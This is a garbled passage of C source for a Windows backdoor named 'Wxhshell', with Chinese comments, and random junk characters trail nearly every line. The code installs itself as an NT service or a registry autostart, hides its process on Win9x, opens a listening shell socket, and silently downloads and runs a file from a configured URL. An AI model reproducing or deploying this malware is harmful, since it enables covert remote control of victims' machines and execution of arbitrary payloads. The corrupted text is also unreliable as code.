ULONG UniqueProcessId; y\Ic@-aWI
ULONG InheritedFromUniqueProcessId; . 1KhBgy^K
} PROCESS_BASIC_INFORMATION; LBM ^9W
o0ifp=V
y
PROCNTQSIP NtQueryInformationProcess; U+:m4a
MZSy6v
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E"qRw_
~t
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nExU#/*~^
Pv_Jm
HANDLE hProcess; oU056
PROCESS_BASIC_INFORMATION pbi; [N7{WSZ&
gl\\+VyU
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *=]&&<
if(NULL == hInst ) return 0; %?}33yV
"D63I|O)
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n>ULRgiT:o
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DI:]GED"=
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5ymk\Lw
.
$BUw
if (!NtQueryInformationProcess) return 0; -:|?h{q?u
s5CXwM6cx
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (7*%K&x
if(!hProcess) return 0; U>]$a71
Q.l}NtHwV
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yE:+Lo`>
a1C{(f)
CloseHandle(hProcess); llcb~
,}3
'I [
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KN<S}3MN
if(hProcess==NULL) return 0; (;T^8mI2
qTdh eX/
HMODULE hMod; F*IzQ(#HW
char procName[255]; 5gYRwuf
unsigned long cbNeeded; #|L8tuWW
B3We|oe !
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OI|[roMK
e?0l"
CloseHandle(hProcess); A)bWcB}U
cpL7!>^=
if(strstr(procName,"services")) return 1; // 以服务启动 Ag 9vU7
0)Uce=t`
return 0; // 注册表启动 f(/lLgI(
} \UPjf]&
Hx"ob_^'7
// 主模块 J1( 9QN[w
int StartWxhshell(LPSTR lpCmdLine) ((H^2KJn
{ /rK}?U
SOCKET wsl; zd2)M@
BOOL val=TRUE; ck:T,F{}
int port=0; KaPAa:Q
struct sockaddr_in door; n6wV.?8
/)YNs7gR
if(wscfg.ws_autoins) Install(); ZInpMp
|cK*~
port=atoi(lpCmdLine); VJeu8ZJ.
00(on28b
if(port<=0) port=wscfg.ws_port; [4YTDEv%
#eoome2Q
WSADATA data; Oxm>c[R
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sd*p/Q|4
( /=f6^}
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; h{%nC>m;
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `#rL*;\uV
door.sin_family = AF_INET; umjt]Gu[
door.sin_addr.s_addr = inet_addr("127.0.0.1"); "sS}N%!
door.sin_port = htons(port); IdzxS
6Y^23W F
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p2#)A"
closesocket(wsl); ?^7t'`zk
return 1; `.E[}W
} BL0 {HV!
/Gd=n
if(listen(wsl,2) == INVALID_SOCKET) { bp*
^z,w
closesocket(wsl); {+] [5<q
return 1; .!Oo|m`V@
} @P#N2:jwj
Wxhshell(wsl); U bXh,QEG*
WSACleanup(); #*D)Q/k
1a?!@g)
return 0; DGRXd#
$:8x(&+/@
} \z>fb%YW
rA3$3GLQ-
// 以NT服务方式启动 v_BcTzQ0S
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lNz7u:U3
{ TITKj?*o
DWORD status = 0; ;ic3).H
DWORD specificError = 0xfffffff; ?Y$JWEPJ
pM+ AjPr
serviceStatus.dwServiceType = SERVICE_WIN32; ]3x?
serviceStatus.dwCurrentState = SERVICE_START_PENDING; I&2c&yO
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]_Vx{oT7
serviceStatus.dwWin32ExitCode = 0; wrc,b{{[iM
serviceStatus.dwServiceSpecificExitCode = 0; y<?kzt
serviceStatus.dwCheckPoint = 0; oQLq&zRH`f
serviceStatus.dwWaitHint = 0; AS!?q
&b.=M>\9Q
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !`k1:@NZ
if (hServiceStatusHandle==0) return; 35A|BD)q
lsgh#x
status = GetLastError(); ,g%0`SO
if (status!=NO_ERROR) `[z<4"Os
{ x/NfZ5e0X
serviceStatus.dwCurrentState = SERVICE_STOPPED; v]'ztFA
serviceStatus.dwCheckPoint = 0; cbNTj$'b2u
serviceStatus.dwWaitHint = 0; }K7#Q
serviceStatus.dwWin32ExitCode = status; +Jlay1U&
serviceStatus.dwServiceSpecificExitCode = specificError; Ar%%}Gx/
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3r<~Q7e
return; %oF}HF.
} @GPCwE1
?[VM6- &
serviceStatus.dwCurrentState = SERVICE_RUNNING; s28`OKC}
serviceStatus.dwCheckPoint = 0; pf2[,v/
serviceStatus.dwWaitHint = 0; i{Uc6R6
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qaqBOHI6G
} ++bf#qS<8D
p?{Xu4(
// 处理NT服务事件,比如:启动、停止 8{|8G-Mi
VOID WINAPI NTServiceHandler(DWORD fdwControl) zE336
{ %r<rcY
switch(fdwControl) 5/q}`T9i%7
{ 4{}FL
case SERVICE_CONTROL_STOP: % "kPvI3Y
serviceStatus.dwWin32ExitCode = 0; ^Xuvy{TkPH
serviceStatus.dwCurrentState = SERVICE_STOPPED; Yab%/z2:
serviceStatus.dwCheckPoint = 0; <>n0arAn
serviceStatus.dwWaitHint = 0; !xz eM VI
{ rR$h*
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Yw22z #K
} s6ZuM/Q
return; &Q9qq~
case SERVICE_CONTROL_PAUSE: j>*S5y.{
serviceStatus.dwCurrentState = SERVICE_PAUSED; 8J*"%C$qe
break; Qwz}B
case SERVICE_CONTROL_CONTINUE: ~<P
0]ju
serviceStatus.dwCurrentState = SERVICE_RUNNING; \@-@Y
break; ZWii)0'PV
case SERVICE_CONTROL_INTERROGATE: b[__1E9v'
break; ~Xw"}S5
}; hMzs*gK
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7@#>bE6
} HvUxsdT
zUDg&-J3
// 标准应用程序主函数 7wWFr
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \Lq h j
{ ,K>I%_!1
xpNH?#&
// 获取操作系统版本 KMt`XaC9e
OsIsNt=GetOsVer(); ylUb9KusOx
GetModuleFileName(NULL,ExeFile,MAX_PATH); %`k6w3qI
5VRYO"D:
// 从命令行安装 pb^i^tA+A
if(strpbrk(lpCmdLine,"iI")) Install(); HPpR.
ioaU*%
// 下载执行文件 #w;v0&p
if(wscfg.ws_downexe) { |o,YCzy|5
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z^KJ*E
WinExec(wscfg.ws_filenam,SW_HIDE); kM!kD4&
} *RT>`,t/
%/EVUN9=
if(!OsIsNt) { wWgWWXGT}
// 如果时win9x,隐藏进程并且设置为注册表启动 yZd +^QN
HideProc(); \:R%4w#Jv
StartWxhshell(lpCmdLine); =6xrfDbN8
} >PB4L_1
else 3E7ULK
if(StartFromService()) b>_o xK
// 以服务方式启动 fz;iOjr>
StartServiceCtrlDispatcher(DispatchTable); :#2Bw]z&z
else w'L\?pI
// 普通方式启动 %mL-$*
StartWxhshell(lpCmdLine); ()`7L|(`;q
wU8Mt#D!
return 0; ]d55m /(
}